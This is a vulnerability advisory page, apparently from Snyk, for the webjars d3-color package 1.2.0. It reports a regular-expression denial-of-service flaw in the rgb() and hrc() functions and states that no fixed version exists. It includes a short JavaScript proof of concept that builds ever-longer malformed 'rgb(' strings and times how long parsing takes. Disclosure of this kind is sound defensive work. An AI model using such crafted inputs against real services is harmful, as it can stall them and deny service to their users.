org.webjars.bower:d3-color@1.2.0 vulnerabilities

  • latest version

    1.2.0

  • first published

    6 years ago

  • latest version published

    6 years ago

  • licenses detected

  • package manager

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.bower:d3-color package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Regular Expression Denial of Service (ReDoS)

    org.webjars.bower:d3-color is a Color spaces! RGB, HSL, Cubehelix, Lab and HCL (Lch).

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the rgb() and hrc() functions.

    PoC by Yeting Li:

    var d3Color = require("d3-color")
    // d3Color.rgb("rgb(255,255,255)")
    
    function build_blank(n) {
        var ret = "rgb("
        for (var i = 0; i < n; i++) {
            ret += "1"
        }
        return ret + "!";
    }
    
    for(var i = 1; i <= 5000000; i++) {
        if (i % 1000 == 0) {
            var time = Date.now();
            var attack_str = build_blank(i)
            d3Color.rgb(attack_str)
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
        }
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    There is no fixed version for org.webjars.bower:d3-color.

    [0,)